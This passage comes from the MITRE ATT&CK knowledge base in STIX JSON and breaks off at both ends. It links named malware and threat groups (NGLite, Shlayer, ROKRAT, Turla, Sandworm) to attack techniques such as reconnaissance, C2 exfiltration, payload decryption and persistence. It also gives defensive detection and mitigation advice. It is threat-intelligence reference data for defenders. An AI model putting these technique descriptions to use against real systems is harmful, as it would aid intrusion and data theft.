2024.","url":"https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-19T13:24:36.875Z","description":"[NGLite](https://attack.mitre.org/software/S1106) will run the whoami command to gather system information and return this to the command and control server.(Citation: NGLite Trojan)","relationship_type":"uses","source_ref":"malware--72b5f07f-5448-4e00-9ff2-08bc193a7b77","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a0f5351-66d4-410d-9427-ff58420fc173","created":"2022-10-18T22:39:51.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T13:11:12.760Z","description":"[MacMa](https://attack.mitre.org/software/S1016) exfiltrates data from a supplied path over its C2 channel.(Citation: ESET DazzleSpy Jan 2022)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a0f70e6-f3c5-46aa-acb1-241290b39065","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a14f269-467e-49f8-a53f-ba1ad7fe5731","created":"2023-09-27T14:37:57.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T15:24:45.034Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) created privileged domain accounts to be used for further exploitation and lateral movement. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a16836c-ad80-4c4f-8c4a-cfc639450a5a","created":"2023-07-27T15:28:27.413Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-27T15:28:27.413Z","description":"(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a184c95-8162-4a46-94f4-7734fe09904a","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a1fcd61-313a-4775-a532-d99dad70fe34","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a2a174b-c45c-4241-b773-c3d42513223d","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor processes and arguments for malicious attempts to modify trust settings, such as the installation of root certificates or modifications to trust attributes/policies applied to files.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a2a70a5-044d-4869-9d11-10499c8848bc","type":"relationship","created":"2020-05-21T14:55:00.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T16:56:20.619Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has hidden payloads in Flash directories and fake installer files.(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a2aa16f-6299-4899-8a73-d1926a499093","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:53:36.800Z","description":"Monitor the status of services involved in system recovery.\n\nNote: For Windows, Event ID 7040 can be used to alert on changes to the start type of a service (e.g., going from enabled at startup to disabled) associated with system recovery. ","relationship_type":"detects","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a2be44e-6a93-479f-ade9-7d49a1eb692a","type":"relationship","created":"2021-01-11T19:07:12.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-01-11T19:07:12.147Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to compress archived screenshots.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a2fbf8a-a05c-44d7-a270-afe092de9db5","created":"2019-08-29T18:52:20.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"sentinelone shlayer to zshlayer","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:18.497Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) can base64-decode and AES-decrypt downloaded payloads.(Citation: Carbon Black Shlayer Feb 2019) Versions of [OSX/Shlayer](https://attack.mitre.org/software/S0402) pass encrypted and password-protected code to openssl and then write the payload to the /tmp folder.(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a36b1bf-52a8-4e93-bac2-e28c60b7d64d","created":"2022-10-13T14:40:09.187Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:40:09.187Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has decrypted its strings by applying a XOR operation and a decompression using a custom implemented LZM algorithm.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a41eff0-83f3-414a-af49-54f0f8c1b84a","type":"relationship","created":"2022-03-22T17:21:33.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."},{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.810Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can encrypt data prior to exfiltration by using an RSA public key.(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8a45b5fc-2d41-445b-b478-fbf5d1bc3c30","created":"2022-06-28T15:17:54.451Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022) can encrypt and compress files using Gzip prior to exfiltration.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-07-26T14:20:55.325Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a468c91-7863-4569-8e5f-a71cd565478e","type":"relationship","created":"2020-01-24T15:05:58.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T15:05:58.613Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a47e81d-be1f-488c-8136-40e18c70d45f","type":"relationship","created":"2020-06-29T02:52:31.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T21:18:03.506Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used net user to enumerate local accounts on the system.(Citation: ESET ComRAT May 2020)(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a48e090-ab8c-414e-b559-7a0437c92850","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T14:56:44.508Z","description":"[SPACESHIP](https://attack.mitre.org/software/S0035) achieves persistence by creating a shortcut in the current user's Startup folder.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--8b880b41-5139-4807-baa9-309690218719","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 SeaDuke 2015","description":"Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"}],"modified":"2020-03-17T02:32:57.964Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) has been packed with the UPX packer.(Citation: Unit 42 SeaDuke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a4b2f39-183a-40e9-a8af-f3727061c17d","type":"relationship","created":"2020-12-29T16:46:48.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T16:46:48.473Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed ntuser.dat and UserClass.dat on compromised hosts.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a53ab66-841f-4c04-8648-57cb9896089b","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD on Linux and DYLD_INSERT_LIBRARIES on macOS.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a55c48b-7bdc-4c4d-811e-a4e6e0f93f9a","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor executed commands and arguments to bypass security restrictions that limit the use of command-line interpreters. ","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a5fa1e9-835e-4897-bb67-ca6764dafac3","created":"2024-03-07T20:18:15.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-12T20:01:02.975Z","description":"(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"malware--29a0bb87-1162-4c83-9834-2a98a876051b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a61202f-ec67-4ec2-8640-c148147731e0","created":"2023-10-05T20:43:28.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-10T17:14:10.829Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can query the WMI class `Win32_ComputerSystem` to gather information.(Citation: Morphisec Snip3 May 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a62bb3c-2019-4747-a5e8-137c788fca77","type":"relationship","created":"2021-03-23T20:49:40.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist ShadowPad Aug 2017","url":"https://securelist.com/shadowpad-in-corporate-networks/81432/","description":"GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.350Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has sent data back to C2 every 8 hours.(Citation: Securelist ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8a6329c5-41c8-44f3-9376-837c39e77de7","created":"2022-03-30T14:26:51.860Z","x_mitre_version":"0.1","external_references":[{"source_name":"SensePost NotRuler","url":"https://github.com/sensepost/notruler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for third-party application logging, messaging, and/or other artifacts that may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)","modified":"2022-04-20T12:41:29.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a67fe7a-4eb0-4dc8-bdd9-810eb05d8157","type":"relationship","created":"2019-09-18T13:01:20.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-11-10T15:55:10.349Z","description":"Restrict software installation to trusted repositories only and be cautious of orphaned software packages.","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a6b0a59-a9f7-4e65-8070-303a6b79e6bb","created":"2024-02-08T19:07:19.656Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T19:07:19.656Z","description":"[PULSECHECK](https://attack.mitre.org/software/S1108) can base-64 encode encrypted data sent through C2.(Citation: Mandiant Pulse Secure Zero-Day April 